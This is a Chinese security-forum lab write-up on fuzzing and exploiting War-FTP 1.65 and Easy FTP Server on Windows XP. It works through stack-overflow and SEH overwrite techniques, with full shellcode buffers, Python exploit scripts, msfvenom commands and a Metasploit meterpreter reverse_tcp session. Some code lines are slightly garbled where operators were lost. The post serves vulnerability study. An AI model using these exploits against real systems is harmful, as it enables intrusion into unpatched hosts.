首页
社区
课程
招聘
[原创]读书笔记——典型FTP软件的模糊测试和漏洞利用
发表于: 2020-6-1 15:01 7374

[原创]读书笔记——典型FTP软件的模糊测试和漏洞利用

2020-6-1 15:01
7374

材料一:《渗透测试完全初学者指南》中有关War-FTP 1.65的内容
1.1 概述
背景描述:在该书的第17、18章中,编写了一个基于栈溢出和SEH机制的漏洞利用程序,使用Python以TCP socket的方式连接FTP软件,用工具ImmunityDebugger和mona来查找各种参数,最终实现Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机Kali Linux 2019.2(虚拟机)、测试机Windows XP SP3 x86简体中文版(虚拟机)、War-FTP 1.65软件。
1.2 War-FTP 1.65的模糊测试
先假定我们不知道War-FTP 1.65软件存在漏洞,因此采用模糊测试的方法来探测是否存在漏洞。使用以下Python程序(部分):
ftp = FTP()
port = 21
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'*800
ftp.login(username,'')
--snip--

ftp.quit()
使用Python ftplib模块提供的方法来连接运行于本机的War-FTP 1.65软件,登录用户名发送800个字母“A”,程序崩溃,可以初步判断程序存在缓冲区溢出漏洞。用OD监视程序,如图1所示。
图片描述
图1
1.3 栈溢出的基本原理
先看一张函数调用的示意图,如图2所示。
图片描述
图2
函数F1在调用F2之前,F1会保存F2结束以后的返回地址,然后移交给F2执行,F2执行完毕后,根据记录的返回地址复原栈帧,继续执行F1函数。在图1中可以看出,当向一个有栈溢出漏洞的程序发送大量数据时,ESP、EBP等寄存器都可以被垃圾数据淹没。由于EIP寄存器存放下一条指令的地址,因此可以编写一个Exploit程序,使EIP指向预设的一段叫做Shellcode的指令,从而达到控制系统的目的。由于栈的布局原因,通常使用JMP ESP指令来覆盖返回地址,并且将Shellcode存放到ESP处,从而引导CPU执行Shellcode。
1.4 编写基于栈溢出Exploit
接下来我们编写Exploit获取各个参数依靠的工具是Metasploit,关键寄存器的偏移数和JMP ESP的地址是需要获得的重要数值。使用pattern_create来创建1000的字符的测试用例,如图3所示。
图片描述
图3
修改上面的Python程序,将这1000个字符作为用户名,发送给War-FTP 1.65软件。发送之前,先用OD附加(attach)到FTP的进程之上。发送完毕,得到的结果如图4所示,可以看出,此时ESP的值是0x71413471,EIP的值是0x32714131。
图片描述
图4
再回到Kali Linux系统中,pattern_offset来将两个寄存器的值进行定位,如图5所示,ESP的偏移是493,EIP的偏移是485。这意味着,向用户名发送485个字节可以定位到EIP,8个字节之后则是ESP。
图片描述
图5
接下来确定JMP ESP的地址。ws2_32.dll是Windows系统中有关网络方面的系统模块,可以将它复制到Kali Linux系统中,使用msfbinscan来扫描该模块中的JMP ESP,结果如图6所示,获得地址是0x71a22b53。
图片描述
图6
接下来生成Shellcode。为了方便,本文不再具体阐述Shellcode的编写,采用从Metasploit直接生成的方式。运行如下命令得到Shellcode:
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -a x86 --platform windows -b '\x00\x40\0a\x0d' -f c
其中,“-p”是指攻击载荷(payload),在windows/exec方式下可以打开计算器程序(calc.exe);“EXITFUNC”指定退出方式;“-a x86 --platform windows”指程序运行平台,“x86、windows”是默认选项,对于本程序来说可以忽略不填,可根据实际需要填写;“-b”是排除坏字符,“-f”是指以C程序的方式生成Shellcode,略作修改即可在Python中使用。
现在,各项数值均已确定,可以生成Exploit了。刚才计算出ESP与EIP之间差8个字节,其中4个字节是JMP ESP的地址,另外4个字节填充nop(padding),此外还需要抬高栈顶的6个字节("\x81\xc4\x24\xfa\xff\xff"),以便保护Shellcode。综上,编写以下Python程序(部分):
buf = ("\xba\x8e\x56\xd6\xde\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x31\x31\x53\x13\x03\x53\x13\x83\xc3\x8a\xb4\x23\x22\x7a\xba"
"\xcc\xdb\x7a\xdb\x45\x3e\x4b\xdb\x32\x4a\xfb\xeb\x31\x1e\xf7"
"\x80\x14\x8b\x8c\xe5\xb0\xbc\x25\x43\xe7\xf3\xb6\xf8\xdb\x92"
"\x34\x03\x08\x75\x05\xcc\x5d\x74\x42\x31\xaf\x24\x1b\x3d\x02"
"\xd9\x28\x0b\x9f\x52\x62\x9d\xa7\x87\x32\x9c\x86\x19\x49\xc7"
"\x08\x9b\x9e\x73\x01\x83\xc3\xbe\xdb\x38\x37\x34\xda\xe8\x06"
"\xb5\x71\xd5\xa7\x44\x8b\x11\x0f\xb7\xfe\x6b\x6c\x4a\xf9\xaf"
"\x0f\x90\x8c\x2b\xb7\x53\x36\x90\x46\xb7\xa1\x53\x44\x7c\xa5"
"\x3c\x48\x83\x6a\x37\x74\x08\x8d\x98\xfd\x4a\xaa\x3c\xa6\x09"
"\xd3\x65\x02\xff\xec\x76\xed\xa0\x48\xfc\x03\xb4\xe0\x5f\x49"
"\x4b\x76\xda\x3f\x4b\x88\xe5\x6f\x24\xb9\x6e\xe0\x33\x46\xa5"
"\x45\xdb\xa4\x6c\xb3\x74\x71\xe5\x7e\x19\x82\xd3\xbc\x24\x01"
"\xd6\x3c\xd3\x19\x93\x39\x9f\x9d\x4f\x33\xb0\x4b\x70\xe0\xb1"
"\x59\x13\x67\x22\x01\xfa\x02\xc2\xa0\x02")
ftp = FTP()
port = 21
ret = struct.pack('<L', 0x71a22b53)
padding = "\x90" 4
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'
485 + ret + padding + "\x81\xc4\x24\xfa\xff\xff" + buf
ftp.login(username,'') # 登录
--snip—
ftp.quit()
用OD附加War-FTP 1.65软件,然后运行Exploit程序,实验成功弹出了计算器,如图7所示。
图片描述
图7
1.5 修改Metasploit的Ruby程序以适配Windows XP SP3 x86简体中文版系统
在编写完Python版的Exploit之后,想测试一下Metasploit中的Ruby程序,键入如下命令,攻击失败,如图8所示。
search war-ftpd
use exploit/windows/ftp/warftpd_165_user
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set rhost 192.168.225.130
set lhost 192.168.225.131
exploit
图片描述
图8
在图中可以看到,失败的原因是目标(target)系统中没有包括Windows XP SP3 x86简体中文版系统。于是找到这个Ruby攻击程序,将Id为4的目标系统的名字及JMP ESP地址进行修改适配,修改保存之后重新加载(reload),攻击成功,如图9所示。
图片描述
图9
1.6 基于SEH的漏洞利用基本原理
SEH(Structured Exception Handling),即结构化异常处理,是Windows系统处理程序错误或异常的重要手段。SEH以链表的形式存在,触发异常后,从第一个异常处理程序开始查找,如未能处理相关异常,就会传递到下一个异常处理程序,直到得到处理。如所有异常处理程序最终均未能处理异常,则会弹出非常熟悉的类似于“进程遇到错误”的窗口。当然,SEH的具体技术细节很复杂,本文只是简要叙述,此处不作为重点。
在漏洞利用技术中,如果以某种方式覆盖了栈中异常处理程序的地址,就能够控制这个应用程序,达到任意执行程序的目的。将这个过程描述如下:
(1)用垃圾数据淹没栈的空间,直至最近的一处异常处理程序所在地址。
(2)使用一条POP/POP/RET指令的地址来覆盖异常处理程序的地址。之所以使用POP/POP/RET,是因为需要一个“ESP+8”的操作,才能指向下一个SEH记录的地址,POP/POP/RET操作可以达到等效的目的。
(3)由于需要跳过异常处理程序地址,因此要用短跳转6个字节来替换NSEH,然后再用nop补齐两个字节。
(4)由于NSEH指向ShellCode,所以成功执行ShellCode,完成漏洞利用工作。
以上过程如图10所示:
图片描述
图10
1.7编写基于SEH的Exploit
还记得上文创建的1000个字符的测试用例吗?还将这个测试用例用Python发送到FTP软件中,观察栈的情况,如图11所示。
图片描述
图11
可以看到,NSEH的值是0x30744139,SEH的值是0x41317441。接下来需要进行定位,回到Kali中,如图12所示,SEH的偏移是573,则NSEH的偏移是573-4=569。
图片描述
图12
如前所述,短跳转的机器码是0xEB,跳转6个字节,再补充2个字节,因此可以用"\xEB\x06\x90\x90"来填充NSEH。
至于SEH,需要查找POP/POP/RET的地址来填充,考虑到在XP SP3系统中可能会受到SafeSEH机制的影响,因此决定不从系统模块中查找,改为从软件安装路径下的所有模块中查找,把软件安装路径下6个模块复制到Kali系统中进行查找。按名字顺序,第一个模块CODBCLog.dll查找的地址为0x10001b6e等三个,由于都含有坏字符“0x00”故舍弃;第二个模块Mfc42.dll查找出很多地址,在舍弃坏字符“0x40”后向下寻找,选定了地址0x5f428c4a。
接下来生成了一个弹出cmd的Shellcode,Exploit部分代码如下,成功弹出cmd,如图13所示。
buf= ("\xdb\xc5\xbf\xa6\x89\x7c\x02\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x31\x31\x7d\x17\x03\x7d\x17\x83\x63\x8d\x9e\xf7\x97\x66\xdc"
"\xf8\x67\x77\x81\x71\x82\x46\x81\xe6\xc7\xf9\x31\x6c\x85\xf5"
"\xba\x20\x3d\x8d\xcf\xec\x32\x26\x65\xcb\x7d\xb7\xd6\x2f\x1c"
"\x3b\x25\x7c\xfe\x02\xe6\x71\xff\x43\x1b\x7b\xad\x1c\x57\x2e"
"\x41\x28\x2d\xf3\xea\x62\xa3\x73\x0f\x32\xc2\x52\x9e\x48\x9d"
"\x74\x21\x9c\x95\x3c\x39\xc1\x90\xf7\xb2\x31\x6e\x06\x12\x08"
"\x8f\xa5\x5b\xa4\x62\xb7\x9c\x03\x9d\xc2\xd4\x77\x20\xd5\x23"
"\x05\xfe\x50\xb7\xad\x75\xc2\x13\x4f\x59\x95\xd0\x43\x16\xd1"
"\xbe\x47\xa9\x36\xb5\x7c\x22\xb9\x19\xf5\x70\x9e\xbd\x5d\x22"
"\xbf\xe4\x3b\x85\xc0\xf6\xe3\x7a\x65\x7d\x09\x6e\x14\xdc\x44"
"\x71\xaa\x5b\x2a\x71\xb4\x63\x1b\x1a\x85\xe8\xf4\x5d\x1a\x3b"
"\xb1\x82\xf8\xe9\xcc\x2a\xa5\x78\x6d\x37\x56\x57\xb2\x4e\xd5"
"\x5d\x4b\xb5\xc5\x14\x4e\xf1\x41\xc5\x22\x6a\x24\xe9\x91\x8b"
"\x6d\x8a\x78\x10\xa0\x29\xfb\xbd\xbc")
ftp = FTP()
port = 21
seh = "\x4a\x8c\x42\x5f"
nseh = "\xeb\x06\x90\x90"
padding = "\x90" 1000 #触发异常
ftp.connect('127.0.0.1',port) #连接FTP服务器
username = 'A'
569 + nseh + seh + buf + padding
ftp.login(username,'') #登录
--snip—
ftp.quit()
图片描述
图13
材料二:《0day安全:软件漏洞分析技术》(第2版)中关于Easy FTP Server的内容
2.1 概述
背景描述:在该书第18章中,用Python编写了一个PoC以验证Easy FTP Server 1.7.0.2软件存在漏洞。区别于War-FTP 1.65软件漏洞,该漏洞是在登录之后由于FTP命令处理不当产生的漏洞,书中测试出了CWD命令有缓冲区溢出漏洞,作者要求读者自行编写漏洞的Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机Kali Linux 2019.2(虚拟机)、测试机Windows XP SP3 x86简体中文版(虚拟机)、Easy FTP Server 1.7.0.2软件。
2.2 EasyFtp软件的模糊测试
本文使用EasyFuzzer2.0中的FTPFUZZ功能来对Easy FTP Server进行模糊测试。首先让被测软件正常运行,然后打开FTPFUZZ,正确填写IP地址、端口号、FTP账号、密码等信息,点击FUZZING按钮,稍等片刻,如图14所示,发现指令APPE出现可能的异常,FTP软件停止运行。下面编写Exploit来尝试利用APPE指令漏洞。
图片描述
图14
2.3 编写基于栈溢出Exploit
与上文中定位方法相同,偏移268字节可以到达EIP;JMP ESP也继续沿用;ESP与EIP之间用8个字节的padding补齐;使用一段精简的弹出计算器的Shellcode。关键指令如下,程序运行时需要填写参数(127.0.0.1 APPE),如图15所示。
crash = "\x41" 268 + ret + padding + buf
图片描述
图15
三、简析更高版本Windows系统上Exploit编写遇到的挑战
在比Windows XP更高版本的系统中,最流行的系统就是Windows 7和10。首先以表1的形式简析在Windows 7系统中遇到的一些漏洞利用缓解机制,最后再讨论Windows 10系统中遇到的新情况。
表1
图片描述
最新的Windows 10系统中,在保留上述漏洞利用缓解机制的基础上,进一步做了强化,体现在了Windows Defender之中,如图16所示,名叫Exploit Protection。在“系统设置”方面,包含了DEP、ASLR、SEHOP、堆完整性等内容,可根据实际需要进行设置;在“程序设置”方面,可针对每个程序进行设置,功能强大,设置方便。总之,Windows 10系统不愧是“有史以来最安全的Windows系统”,想要突破绝非易事,大家应当继续深入研究Windows 10系统的漏洞利用缓解机制。
图片描述
图16
*四、总结

本文简要介绍了基于栈溢出和SEH的漏洞利用基本原理,采用经典书籍中的例子,使用与原书中不同的工具、方法来测试漏洞与编写Exploit,希望想学习漏洞技术的读者可以将本文与原书对照参考,动手实践,只有多多实践才能发现问题、解决问题。由于本人水平所限,难免出现谬误,敬请读者批评指正。感谢文中提到的相关书籍及其他一些参考资料的作(译)者,感谢看雪安全论坛为技术爱好者提供的交流平台。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-6-1 15:09 被MXChange编辑 ,原因: 文件上传有误
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//